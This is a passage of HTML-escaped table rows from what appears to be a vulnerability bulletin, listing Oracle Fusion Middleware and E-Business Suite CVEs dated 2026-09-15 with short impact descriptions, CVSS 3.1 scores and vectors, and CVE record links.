&lt;td&gt;Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83024&quot; target=&quot;_blank&quot;&gt;CVE-2026-83024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83028&quot; target=&quot;_blank&quot;&gt;CVE-2026-83028&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Database Application Table). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Identity Manager Connector. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83344&quot; target=&quot;_blank&quot;&gt;CVE-2026-83344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Installed Base&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Installed Base product of Oracle E-Business Suite (component: Create Item Instance). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Installed Base. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Installed Base accessible data as well as unauthorized access to critical data or complete access to all Oracle Installed Base accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87152&quot; target=&quot;_blank&quot;&gt;CVE-2026-87152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Internet Directory. While the vulnerability is in Oracle Internet Directory, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83059&quot; target=&quot;_blank&quot;&gt;CVE-2026-83059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Internet Directory. Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83054&quot; target=&quot;_blank&quot;&gt;CVE-2026-83054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via LDAP to compromise Oracle Internet Directory. While the vulnerability is in Oracle Internet Directory, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83055&quot; target=&quot;_blank&quot;&gt;CVE-2026-83055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via LDAP to compromise Oracle Internet Directory. While the vulnerability is in Oracle Internet Directory, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83056&quot; target=&quot;_blank&quot;&gt;CVE-2026-83056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via LDAP to compromise Oracle Internet Directory. While the vulnerability is in Oracle Internet Directory, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83057&quot; target=&quot;_blank&quot;&gt;CVE-2026-83057&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via LDAP to compromise Oracle Internet Directory. While the vulnerability is in Oracle Internet Directory, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83058&quot; target=&quot;_blank&quot;&gt;CVE-2026-83058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Internet Directory. Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83060&quot; target=&quot;_blank&quot;&gt;CVE-2026-83060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Internet Directory. Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83061&quot; target=&quot;_blank&quot;&gt;CVE-2026-83061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Internet Directory. Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83062&quot; target=&quot;_blank&quot;&gt;CVE-2026-83062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Internet Directory. Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83066&quot; target=&quot;_blank&quot;&gt;CVE-2026-83066&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Internet Directory&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Internet Directory product of Oracle Fusion Middleware (component: OID LDAP Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via LDAP to compromise Oracle Internet Directory. Successful attacks of this vulnerability can result in takeover of Oracle Internet Directory. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83063&quot; target=&quot;_blank&quot;&gt;CVE-2026-83063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle iRecruitment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle iRecruitment product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iRecruitment. While the vulnerability is in Oracle iRecruitment, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle iRecruitment accessible data as well as unauthorized update, insert or delete access to some of Oracle iRecruitment accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83490&quot; target=&quot;_blank&quot;&gt;CVE-2026-83490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle iRecruitment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle iRecruitment product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iRecruitment. While the vulnerability is in Oracle iRecruitment, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle iRecruitment accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87124&quot; target=&quot;_blank&quot;&gt;CVE-2026-87124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle iStore&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle iStore product of Oracle E-Business Suite (component: Shopping Cart). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iStore. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle iStore accessible data as well as unauthorized access to critical data or complete access to all Oracle iStore accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83132&quot; target=&quot;_blank&quot;&gt;CVE-2026-83132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle iStore&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle iStore product of Oracle E-Business Suite (component: Shopping Cart). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iStore. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle iStore, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle iStore accessible data as well as unauthorized access to critical data or complete access to all Oracle iStore accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83135&quot; target=&quot;_blank&quot;&gt;CVE-2026-83135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle iStore&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle iStore product of Oracle E-Business Suite (component: Shopping Cart). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle iStore. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle iStore accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83133&quot; target=&quot;_blank&quot;&gt;CVE-2026-83133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle iStore&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle iStore product of Oracle E-Business Suite (component: Shopping Cart). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iStore. While the vulnerability is in Oracle iStore, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle iStore accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83134&quot; target=&quot;_blank&quot;&gt;CVE-2026-83134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle JDeveloper&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle JDeveloper product of Oracle Fusion Middleware (component: ADF Faces). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle JDeveloper. Successful attacks of this vulnerability can result in takeover of Oracle JDeveloper. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73961&quot; target=&quot;_blank&quot;&gt;CVE-2026-73961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle JDeveloper&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle JDeveloper product of Oracle Fusion Middleware (component: ADF Shared Components). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle JDeveloper. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle JDeveloper accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle JDeveloper. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83067&quot; target=&quot;_blank&quot;&gt;CVE-2026-83067&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle JDeveloper&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle JDeveloper product of Oracle Fusion Middleware (component: Resource Catalog Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle JDeveloper. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle JDeveloper accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle JDeveloper. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83266&quot; target=&quot;_blank&quot;&gt;CVE-2026-83266&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle JDeveloper&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle JDeveloper product of Oracle Fusion Middleware (component: Resource Catalog Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle JDeveloper. Successful attacks of this vulnerability can result in takeover of Oracle JDeveloper. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83306&quot; target=&quot;_blank&quot;&gt;CVE-2026-83306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle JDeveloper&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle JDeveloper product of Oracle Fusion Middleware (component: Security Framework). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle JDeveloper. Successful attacks of this vulnerability can result in takeover of Oracle JDeveloper. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83423&quot; target=&quot;_blank&quot;&gt;CVE-2026-83423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle JDeveloper&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle JDeveloper product of Oracle Fusion Middleware (component: Oracle JDeveloper). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle JDeveloper. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle JDeveloper accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83424&quot; target=&quot;_blank&quot;&gt;CVE-2026-83424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Lease and Finance Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Lease and Finance Management product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.7-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Lease and Finance Management. Successful attacks of this vulnerability can result in takeover of Oracle Lease and Finance Management. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83112&quot; target=&quot;_blank&quot;&gt;CVE-2026-83112&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Managed File Transfer&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Managed File Transfer product of Oracle Fusion Middleware (component: MFT Runtime Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Managed File Transfer. While the vulnerability is in Oracle Managed File Transfer, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Managed File Transfer accessible data as well as unauthorized access to critical data or complete access to all Oracle Managed File Transfer accessible data. CVSS 3.1 Base Score 9.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83029&quot; target=&quot;_blank&quot;&gt;CVE-2026-83029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Managed File Transfer&lt;/td&gt;
